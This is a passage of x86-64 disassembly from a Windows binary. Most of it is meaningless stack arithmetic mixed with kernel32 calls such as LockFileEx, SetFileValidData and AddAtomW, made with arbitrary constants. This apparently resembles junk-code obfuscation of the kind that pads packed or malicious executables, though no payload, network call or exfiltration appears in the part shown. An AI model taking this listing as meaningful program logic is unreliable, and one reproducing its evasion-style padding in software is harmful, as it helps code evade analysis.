mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa758], eax
mov rax, qword [rsp + 0x14218]
mov rcx, qword [rsp + 0x14a58]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x8920], eax
mov rax, qword [rsp + 0x145b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8348]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9a98], eax
mov rax, qword [0x14028ed40]
mov rcx, qword [rsp + 0x149a0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa410], eax
movzx eax, byte [rsp + 0x6b9]
mov byte [rsp + 0x6e3], al
mov rax, qword [rsp + 0x14650]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x146d8]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14028ed8c], ax
mov rax, qword [rsp + 0x144a8]
mov rcx, qword [rsp + 0x147f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x976c], eax
mov rax, qword [rsp + 0x14a10]
mov ecx, dword [rsp + 0xa878]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa340], eax
mov rax, qword [rsp + 0x14858]
mov eax, dword [rax]
mov dword [rsp + 0xa9b8], eax
mov rax, qword [rsp + 0x145b8]
mov rcx, qword [rsp + 0x144d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7350], eax
mov eax, dword [rsp + 0xa6bc]
mov ecx, dword [rsp + 0xa48c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x73f4], eax
movsx eax, word [rsp + 0x273c]
mov rcx, qword [rsp + 0x140a8]
movsx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x2c04], ax
movzx eax, byte [rsp + 0x6a7]
mov byte [rsp + 0x6e4], al
movzx eax, byte [rsp + 0x4d6]
movzx ecx, byte [rsp + 0x692]
and eax, ecx
mov byte [rsp + 0x1ae], al
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0xa830], eax
mov rax, qword [0x14028edf8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14130]
movzx ecx, word [rcx]
or eax, ecx
mov word [0x1402827d4], ax
mov eax, dword [rsp + 0xa684]
movzx ecx, al
mov eax, dword [rsp + 0xa518]
shl eax, cl
mov dword [rsp + 0x7b28], eax
lea rax, [0x14028ee58]
mov qword [rsp + 0x14b10], rax
movzx eax, word [rsp + 0x2dc8]
movzx ecx, word [rsp + 0x2d70]
xor eax, ecx
mov word [rsp + 0x2bc8], ax
movzx eax, byte [rsp + 0xbb]
mov byte [rsp + 0x6e5], al
mov rax, qword [0x14028ee50]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x985c]
sar eax, cl
mov dword [rsp + 0xa5f4], eax
mov rax, qword [rsp + 0x147f8]
mov ecx, dword [rsp + 0xa6cc]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x820c], eax
mov rax, qword [rsp + 0x14580]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa264]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x89e4], eax
mov rax, qword [rsp + 0x14760]
mov eax, dword [rax]
mov ecx, dword [0x14028272c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa774], eax
movzx eax, byte [rsp + 0x6a6]
mov rcx, qword [rsp + 0x14548]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x14028ed60]
mov byte [rcx], al
lea rax, [rsp + 0x2154]
mov qword [rsp + 0x14b18], rax
mov rax, qword [rsp + 0x14020]
mov ecx, dword [rsp + 0xa4c8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa634], eax
mov rax, qword [rsp + 0x14a30]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7700]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6fec], eax
mov rax, qword [0x14028ed58]
movzx eax, word [rax]
mov word [rsp + 0x2e04], ax
movsx eax, byte [rsp + 0x64e]
mov rcx, qword [rsp + 0x14678]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x639], al
lea rax, [rsp + 0x6b5]
mov qword [rsp + 0x14b20], rax
movzx eax, word [rsp + 0x2aec]
mov rcx, qword [0x14028edf8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x14978]
mov word [rcx], ax
mov rax, qword [rsp + 0x141c0]
mov ecx, dword [rsp + 0xa7c0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x8d30], eax
mov eax, dword [rsp + 0xa578]
mov ecx, dword [rsp + 0xa840]
add ecx, eax
mov eax, ecx
mov dword [0x1402827d8], eax
mov rax, qword [rsp + 0x14a30]
mov eax, dword [rax]
mov dword [rsp + 0xa9bc], eax
mov rax, qword [rsp + 0x14930]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7ba4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa3f4], eax
mov rax, qword [rsp + 0x142d8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x14988]
mov qword [rsp + 0x14b28], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14b28]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x6f08], eax
movzx eax, byte [0x14028ed78]
movzx ecx, byte [rsp + 0x43d]
xor eax, ecx
mov byte [rsp + 0x69b], al
mov edx, 0x253c55
mov rcx, qword [rsp + 0x143d0]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0xa68c], eax
movzx eax, word [rsp + 0x2680]
mov word [rsp + 0x2e08], ax
mov eax, dword [rsp + 0xa8d4]
mov ecx, dword [rsp + 0xa900]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xa394], eax
mov rax, qword [rsp + 0x14218]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa584]
shl eax, cl
mov dword [rsp + 0xa750], eax
mov rax, qword [rsp + 0x14738]
mov eax, dword [rax]
mov dword [rsp + 0xa9c0], eax
mov rax, qword [rsp + 0x149c0]
mov rcx, qword [rsp + 0x143a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [0x14028ecec], eax
movzx eax, word [rsp + 0x2574]
movzx ecx, word [rsp + 0x2d80]
add eax, ecx
mov rcx, qword [rsp + 0x13fa0]
mov word [rcx], ax
mov rax, qword [rsp + 0x14b20]
movzx eax, byte [rax]
mov byte [rsp + 0x6e6], al
mov rax, qword [rsp + 0x14298]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x14968]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x63b], al
mov rax, qword [rsp + 0x14190]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2cd4]
and eax, ecx
mov word [rsp + 0x2d60], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rax, [rsp + 0x820c]
mov qword [rsp + 0x14b30], rax
mov rax, qword [rsp + 0x143d8]
mov ecx, dword [rsp + 0x9580]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x7bf8], eax
mov rax, qword [rsp + 0x14998]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6a8]
sub eax, ecx
mov byte [rsp + 0x546], al
movzx eax, word [rsp + 0x2134]
movzx ecx, word [rsp + 0x2b50]
sub eax, ecx
mov rcx, qword [rsp + 0x14770]
mov word [rcx], ax
mov rax, qword [rsp + 0x14ae0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7c28]
add ecx, eax
mov eax, ecx
mov dword [0x140282748], eax
mov eax, dword [rsp + 0xa470]
mov ecx, dword [rsp + 0xa41c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa570], eax
mov eax, dword [0x1402826b0]
mov dword [rsp + 0xa9c4], eax
mov rax, qword [rsp + 0x13f70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa4a0]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x6f54], eax
mov dword [rsp + 0x20], 0xd6
mov r9d, 0x2f22
mov r8d, 0x1da7
mov edx, 0x35a7
mov rcx, qword [rsp + 0x146f0]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0xa7cc], eax
movzx eax, word [rsp + 0x2dbc]
mov word [rsp + 0x2e0c], ax
movzx eax, byte [rsp + 0x635]
movzx ecx, byte [rsp + 0x25b]
or eax, ecx
mov byte [rsp + 0x1aa], al
mov eax, dword [rsp + 0xa498]
movzx ecx, al
mov eax, dword [rsp + 0xa98c]
shl eax, cl
mov rcx, qword [rsp + 0x141e8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x985c]
mov rcx, qword [rsp + 0x145d8]
mov qword [rsp + 0x14b38], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14b38]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x7e78], eax
mov rax, qword [rsp + 0x14378]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa824]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x6690], eax
lea rax, [rsp + 0xa6fc]
mov qword [0x14028ecc0], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov eax, dword [rsp + 0xa3d0]
mov dword [rsp + 0xa9c8], eax
movsx eax, word [rsp + 0x2b7c]
mov rcx, qword [0x14028ed58]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x14a98]
mov word [rcx], ax
mov rax, qword [rsp + 0x146d0]
movzx eax, byte [rax]
mov byte [rsp + 0x6e7], al
movzx eax, word [rsp + 0x2cf0]
mov rcx, qword [rsp + 0x14778]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x14590]
mov word [rcx], ax
movzx eax, byte [0x14028ee08]
movzx ecx, byte [rsp + 0x4d6]
sub eax, ecx
mov byte [rsp + 0x65c], al
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0xa3d8], eax
mov eax, dword [rsp + 0xa928]
mov ecx, dword [rsp + 0x9dbc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6684], eax
mov rax, qword [rsp + 0x14348]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa84c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa97c], eax
movzx eax, word [rsp + 0x2db4]
mov word [rsp + 0x2e10], ax
mov rax, qword [rsp + 0x14620]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14150]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x140281df6], al
mov rax, qword [rsp + 0x14b10]
mov ecx, dword [rsp + 0xa45c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa5c8], eax
mov rax, qword [rsp + 0x14898]
mov rcx, qword [rsp + 0x14018]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9a1c], eax
lea rcx, [rsp + 0x21b30]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov eax, dword [rsp + 0x9784]
mov dword [rsp + 0xa9cc], eax
mov rax, qword [rsp + 0x148c0]
mov rcx, qword [0x14028ee80]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa3f4], eax
lea rax, [rsp + 0x640]
mov qword [rsp + 0x14b40], rax
movzx eax, word [rsp + 0x2d1c]
mov rcx, qword [rsp + 0x14240]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2b50], ax
mov rax, qword [rsp + 0x13f10]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa8a4]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xa3a0], eax
mov eax, dword [rsp + 0xa238]
mov ecx, dword [rsp + 0xa844]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x6950], eax
movzx eax, byte [rsp + 0x658]
mov byte [0x14028ecb8], al
mov rax, qword [rsp + 0x14190]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x14360]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x15e8], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa830], eax
movzx eax, byte [rsp + 0x34e]
mov byte [rsp + 0x6e8], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
mov rax, qword [rsp + 0x13fa0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b78]
and eax, ecx
mov word [rsp + 0x2ce4], ax
mov rax, qword [0x14028eda0]
mov eax, dword [rax]
mov dword [rsp + 0xa9d0], eax
mov rax, qword [rsp + 0x14218]
mov ecx, dword [rsp + 0xa684]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa9d0], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0xa760], eax
mov rax, qword [rsp + 0x143d8]
mov rcx, qword [rsp + 0x14140]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa5a0], eax
mov rax, qword [0x14028ee90]
mov rcx, qword [rsp + 0x143d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x889c], eax
mov rax, qword [rsp + 0x146f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6880]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14838]
mov dword [rcx], eax
mov rax, qword [0x14028ee48]
movzx eax, word [rax]
mov word [rsp + 0x2e14], ax
lea rax, [rsp + 0x6bf]
mov qword [0x14028ecb0], rax
mov eax, dword [rsp + 0xa824]
mov ecx, dword [rsp + 0xa634]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7c24], eax
mov rax, qword [rsp + 0x14438]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa35c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa528], eax
mov rax, qword [rsp + 0x14438]
mov eax, dword [rax]
mov dword [rsp + 0xa9d4], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa994], eax
mov rax, qword [rsp + 0x141c8]
mov ecx, dword [rsp + 0xa488]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa80c], eax
mov rax, qword [rsp + 0x13e98]
movzx eax, byte [rax]
mov byte [rsp + 0x6e9], al
movzx eax, word [rsp + 0x2d04]
mov rcx, qword [rsp + 0x13fa0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1bbc], ax
mov rax, qword [rsp + 0x14428]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2b34]
sub eax, ecx
mov word [rsp + 0x2d98], ax
movsx eax, byte [rsp + 0x621]
mov rcx, qword [rsp + 0x14968]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x289], al
mov rax, qword [rsp + 0x14930]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa514]
shr eax, cl
mov rcx, qword [0x14028ecc8]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0xa9d8], eax
mov eax, dword [0x140282714]
mov ecx, dword [rsp + 0xa5c4]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x9a98], eax
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0xa4f0], eax
movzx eax, byte [rsp + 0x5bc]
mov byte [rsp + 0x6ea], al
mov rax, qword [rsp + 0x14430]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14600]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2d9c], ax
mov eax, dword [rsp + 0xa420]
mov ecx, dword [rsp + 0xa6a0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa98c], eax
mov rax, qword [rsp + 0x13f70]
mov eax, dword [rax]
mov dword [rsp + 0xa9dc], eax
mov rax, qword [rsp + 0x149c0]
mov ecx, dword [rsp + 0xa3e4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa840], eax
mov rax, qword [0x14028ecf8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa6f8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9cb4], eax
mov rax, qword [rsp + 0x146d8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x144b0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2c1c], ax
mov rax, qword [rsp + 0x14a20]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1ae]
add eax, ecx
mov rcx, qword [0x14028ed80]
mov byte [rcx], al
lea rax, [0x14028eddc]
mov qword [rsp + 0x14b48], rax
mov rax, qword [rsp + 0x141f8]
mov rcx, qword [rsp + 0x146c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa608], eax
mov eax, dword [rsp + 0x7c9c]
mov ecx, dword [rsp + 0x9950]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa97c], eax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadTimes]
mov eax, dword [rsp + 0xa2f4]
mov dword [rsp + 0xa9e0], eax
mov rax, qword [rsp + 0x143a8]
mov rcx, qword [rsp + 0x14438]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa834], eax
mov rax, qword [rsp + 0x145f0]
movzx eax, byte [rax]
mov byte [rsp + 0x6eb], al
mov rax, qword [rsp + 0x14648]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2da8]
sub eax, ecx
mov word [rsp + 0x2c48], ax
movzx eax, word [rsp + 0x2bc8]
mov rcx, qword [rsp + 0x14a00]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2c30], ax
lea rax, [rsp + 0x5f5]
mov qword [0x14028eca8], rax
lea rax, [0x14028ee58]
mov qword [rsp + 0x14b50], rax
mov rax, qword [rsp + 0x147d0]
mov ecx, dword [rsp + 0xa808]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x7ba4], eax
movzx ecx, word [rsp + 0x2ccc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2cb8], ax
lea rcx, str.S9FHygelqB.H0b
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2e18], ax
movzx eax, byte [rsp + 0x6a0]
mov rcx, qword [rsp + 0x14278]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x36e], al
movzx eax, word [rsp + 0x2b50]
movzx ecx, word [rsp + 0x1bbc]
or eax, ecx
mov rcx, qword [rsp + 0x14a78]
mov word [rcx], ax
mov rax, qword [rsp + 0x14760]
mov ecx, dword [rsp + 0x7c9c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x90bc], eax
mov eax, dword [rsp + 0x84a4]
mov dword [rsp + 0xa9e4], eax
mov rax, qword [rsp + 0x144e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa708]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa94c], eax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x3b59
mov r9d, 0x2f2f
mov r8d, 0xe49584d1
mov edx, 1
mov rcx, qword [rsp + 0x142d0]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0xa7f0], eax
mov eax, dword [rsp + 0x6fec]
mov dword [rsp + 0xa9e8], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
movzx eax, byte [rsp + 0x650]
mov rcx, qword [0x14028ecd0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x140281e3e], al
movzx eax, word [rsp + 0x24c8]
mov rcx, qword [rsp + 0x14168]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2d34], ax
mov eax, dword [rsp + 0x7800]
mov ecx, dword [rsp + 0xa970]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x78bc], eax
mov rax, qword [rsp + 0x14898]
mov ecx, dword [rsp + 0x9f14]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x64d8], eax
movsx eax, byte [rsp + 0x680]
movsx ecx, byte [rsp + 0x657]
sub eax, ecx
mov byte [rsp + 0x69e], al
movzx eax, word [rsp + 0x2b24]
mov word [rsp + 0x2e1c], ax
movzx eax, word [0x1402827d4]
mov rcx, qword [rsp + 0x14978]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2d38], ax
mov rax, qword [rsp + 0x14a90]
movzx eax, byte [rax]
mov byte [rsp + 0x6ec], al
mov rax, qword [rsp + 0x14a70]
mov rcx, qword [rsp + 0x14248]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa694], eax
mov rax, qword [0x14028edd0]
mov rcx, qword [rsp + 0x141d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [0x140282710], eax
mov eax, dword [rsp + 0xa50c]
movzx ecx, al
mov eax, dword [rsp + 0x6608]
shl eax, cl
mov rcx, qword [rsp + 0x141f8]
mov dword [rcx], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov eax, dword [rsp + 0x6690]
mov dword [rsp + 0xa9ec], eax
mov rax, qword [rsp + 0x14768]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa8e0]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xa9e0], eax
lea rax, [rsp + 0x1740]
mov qword [rsp + 0x14b58], rax
movzx eax, byte [rsp + 0x6aa]
movzx ecx, byte [0x14028ed22]
xor eax, ecx
mov byte [rsp + 0x2de], al
mov rax, qword [rsp + 0x141e8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa868]
sar eax, cl
mov rcx, qword [rsp + 0x14ab8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14228]
mov ecx, dword [rsp + 0xa67c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x8508], eax
mov rax, qword [0x14028ed40]
mov rcx, qword [rsp + 0x148f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x144d8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14140]
mov ecx, dword [rsp + 0xa238]
mov eax, dword [rax]
and eax, ecx
mov dword [0x1402827dc], eax
mov rcx, qword [rsp + 0x14320]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0xa964], eax
mov rax, qword [rsp + 0x144b8]
movzx eax, byte [rax]
mov byte [rsp + 0x6ed], al
mov rax, qword [rsp + 0x147b0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1b28]
add eax, ecx
mov word [rsp + 0x1860], ax
mov rax, qword [rsp + 0x140b0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x14678]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x672], al
movzx eax, word [rsp + 0x2d20]
mov word [rsp + 0x2e20], ax
mov rax, qword [rsp + 0x148d8]
mov ecx, dword [rsp + 0xa490]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa8d8], eax
mov eax, dword [rsp + 0xa4a4]
mov ecx, dword [rsp + 0xa648]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7e34], eax
mov rax, qword [0x14028ecd0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14888]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x674], al
mov rax, qword [rsp + 0x14590]
movzx eax, word [rax]
mov word [rsp + 0x2e24], ax
mov rcx, qword [rsp + 0x14518]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xa3d8], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x14b60], rax
mov eax, dword [rsp + 0x8df4]
mov ecx, dword [rsp + 0x925c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [0x14028ecc8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x872c]
mov ecx, dword [rsp + 0x7620]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa6b4], eax
mov rax, qword [rsp + 0x149a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa304]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa51c], eax
mov eax, dword [rsp + 0xa42c]
mov dword [rsp + 0xa9f0], eax
movzx eax, word [0x1402826a4]
mov rcx, qword [rsp + 0x14310]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2ca8], ax
mov rax, qword [rsp + 0x14b08]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x143b8]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x3bd], al
mov rax, qword [rsp + 0x14490]
mov eax, dword [rax]
mov ecx, dword [0x14028ed74]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x7d08], eax
mov rax, qword [rsp + 0x147e8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa8a0]
sar eax, cl
mov dword [rsp + 0xa6fc], eax
mov eax, dword [rsp + 0xa630]
mov dword [rsp + 0xa9f4], eax
mov eax, dword [rsp + 0x8dc8]
mov ecx, dword [rsp + 0xa8f4]
and ecx, eax
mov eax, ecx
mov dword [0x1402826b4], eax
movzx ecx, word [rsp + 0x2b44]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2b44], ax
mov rax, qword [rsp + 0x14640]
mov rcx, qword [rsp + 0x14aa0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa698], eax
mov rax, qword [rsp + 0x14138]
movzx eax, word [rax]
mov word [rsp + 0x2e28], ax
mov rax, qword [rsp + 0x14120]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x6cb]
add eax, ecx
mov byte [rsp + 0x695], al
mov rax, qword [rsp + 0x14280]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x3db]
and eax, ecx
mov rcx, qword [rsp + 0x14150]
mov byte [rcx], al
mov rax, qword [rsp + 0x14498]
movzx eax, word [rax]
mov rcx, qword [0x14028ee78]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1e28], ax
movzx ecx, word [rsp + 0x2b44]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2b3c], ax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0xa9f8], eax
mov rax, qword [rsp + 0x147d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa990]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x86e4], eax
lea rax, [rsp + 0x8fc8]
mov qword [rsp + 0x14b68], rax
mov rax, qword [0x14028ecb0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6a6]
sub eax, ecx
mov byte [rsp + 0x633], al
movzx eax, word [rsp + 0x2d5c]
mov word [0x14028eca0], ax
mov eax, dword [rsp + 0x7684]
mov ecx, dword [rsp + 0x9e40]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa638], eax
mov rax, qword [0x14028ecf8]
mov eax, dword [rax]
mov dword [rsp + 0xa9fc], eax
mov rcx, qword [rsp + 0x142d0]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0xa9f8], eax
mov rax, qword [rsp + 0x140f0]
mov ecx, dword [rsp + 0xa5dc]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa804], eax
mov rax, qword [rsp + 0x14020]
mov eax, dword [rax]
mov dword [rsp + 0xaa00], eax
mov rax, qword [rsp + 0x14278]
movzx eax, byte [rax]
mov rcx, qword [0x14028ee20]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x6dc], al
mov rax, qword [rsp + 0x146d8]
movzx eax, word [rax]
mov word [rsp + 0x2e2c], ax
mov eax, dword [rsp + 0x8dc8]
mov ecx, dword [rsp + 0xa340]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x9d50], eax
mov eax, dword [rsp + 0x8fc8]
movzx ecx, al
mov eax, dword [rsp + 0xa44c]
shl eax, cl
mov dword [rsp + 0xa5f8], eax
movsx eax, byte [rsp + 0x632]
movsx ecx, byte [rsp + 0x619]
sar eax, cl
mov byte [0x140281e3f], al
mov rax, qword [rsp + 0x142e8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x14190]
movsx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x1404], ax
mov rax, qword [rsp + 0x13fa0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x143e8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2c9c], ax
mov rax, qword [rsp + 0x14338]
movzx eax, byte [rax]
mov byte [rsp + 0x6ee], al
mov rax, qword [rsp + 0x14248]
mov ecx, dword [0x140282778]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa424], eax
mov eax, dword [rsp + 0xa9dc]
mov ecx, dword [rsp + 0x8c5c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa4a8], eax
mov eax, dword [rsp + 0xa3d0]
mov dword [rsp + 0xaa04], eax
mov eax, dword [rsp + 0xa940]
mov ecx, dword [rsp + 0x7c9c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9e20], eax
mov eax, dword [rsp + 0x7e78]
mov ecx, dword [rsp + 0xa66c]
